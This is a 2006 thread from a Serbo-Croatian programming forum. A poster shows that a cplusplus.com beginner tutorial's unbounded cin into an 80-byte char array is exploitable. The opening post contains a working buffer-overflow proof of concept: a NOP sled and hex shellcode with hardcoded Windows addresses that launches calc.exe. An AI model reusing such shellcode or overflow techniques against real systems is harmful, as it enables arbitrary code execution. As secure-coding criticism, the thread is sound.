Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Sram ih sve moze biti!!! ;D

[es] :: Security Coding :: Sram ih sve moze biti!!! ;D

[ Pregleda: 3080 | Odgovora: 6 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

opcode

Član broj: 101421
Poruke: 43
*.adsl.net.t-com.hr.



Profil

icon Sram ih sve moze biti!!! ;D19.07.2006. u 12:50 - pre 169 meseci
Gledam malo C++ tutoriale po netu i na svakom primjeru sam nasao neki bug koji se moze exploitati.... evo banalan primjer sa http://www.cplusplus.com/doc/tutorial/ntcs.html
Prvi primjer u tom tutorijalu:
Code:

// null-terminated sequences of characters
#include <iostream>
using namespace std;

int main ()
{
  char question[] = "Please, enter your first name: ";
  char greeting[] = "Hello, ";
  char yourname [80];
  cout << question;
  cin >> yourname;
  cout << greeting << yourname << "!";
  return 0;
}


Naravno da se ranjiv dio vidi iz aviona.. a to je cin >> yourname; , i evo kako bi to izgledalo u Dev-C++ -u:
Code:

#include <iostream>
using namespace std;

int main ()
{
  char question[] = "Please, enter your first name: ";
  char greeting[] = "Hello, ";
  char yourname [80];
  cout << question;

                  
strcpy(yourname,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x89\xE5\xC6\x45\x01\x63\xC6\x45"
                "\x02\x61\xC6\x45\x03\x6C\xC6\x45\x04\x63"
                "\x32\xE4\x88\x65\x05\x31\xC0\x40\x50\x8D"
                "\x45\x01\x50\xB8\x4D\x11\x86\x7C\xFF\xD0"
                "\x31\xC0\x50\xB8\xA2\xCA\x81\x7C\xFF\xD0"
                "\xF0\xFE\x22");
                  
  cout << greeting << yourname << "!";
  system("PAUSE");
  return 0;
}



Pokrene se calc.exe .. vauu
Koristio sam strcpy umjesto cin da ne moram rucno to kucat..a probao sam i sa cin i takodjer calc.exe izleti

Nista strasno.. vec me samo iznerviralo kako uce ljude krivo radit programe..
 
Odgovor na temu

opcode

Član broj: 101421
Poruke: 43
*.adsl.net.t-com.hr.



Profil

icon Re: Sram ih sve moze biti!!! ;D19.07.2006. u 12:56 - pre 169 meseci
A bem li ga fulo sam forum... prebacite ovo u security coding..
 
Odgovor na temu

icobh
Igor Pejašinović
Network Admin
Navigo SC d.o.o.
Banja Luka

Član broj: 18738
Poruke: 1319
*.inecco.net.

Sajt: www.nsc.ba


+4 Profil

icon Re: Sram ih sve moze biti!!! ;D19.07.2006. u 15:41 - pre 169 meseci
Ajd što je promašen forum, nego što još ovo nije tačno! Ustvari jeste tačno ali samo za MinGW kompajler, ali ja eto koristim Borlandov i kad ovo pokrenem, ništa se ne događa!
I ♥ ♀

Ovaj post je zlata vrijedan!
 
Odgovor na temu

opcode

Član broj: 101421
Poruke: 43
*.adsl.net.t-com.hr.



Profil

icon Re: Sram ih sve moze biti!!! ;D19.07.2006. u 16:24 - pre 169 meseci
Borlandovi kompajleri su prica za sebe!
 
Odgovor na temu

icobh
Igor Pejašinović
Network Admin
Navigo SC d.o.o.
Banja Luka

Član broj: 18738
Poruke: 1319
*.inecco.net.

Sajt: www.nsc.ba


+4 Profil

icon Re: Sram ih sve moze biti!!! ;D19.07.2006. u 18:48 - pre 169 meseci
A što? Pa i ovaj radi isto što i MinGW C++. Čak i bolje!
I ♥ ♀

Ovaj post je zlata vrijedan!
 
Odgovor na temu

Gost




Profil

icon Re: Sram ih sve moze biti!!! ;D22.08.2006. u 13:04 - pre 168 meseci
@opcode
Citat:
Nista strasno.. vec me samo iznerviralo kako uce ljude krivo radit programe..

Pa ovo je samo početnički tutorial.
 
Odgovor na temu

[es] :: Security Coding :: Sram ih sve moze biti!!! ;D

[ Pregleda: 3080 | Odgovora: 6 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.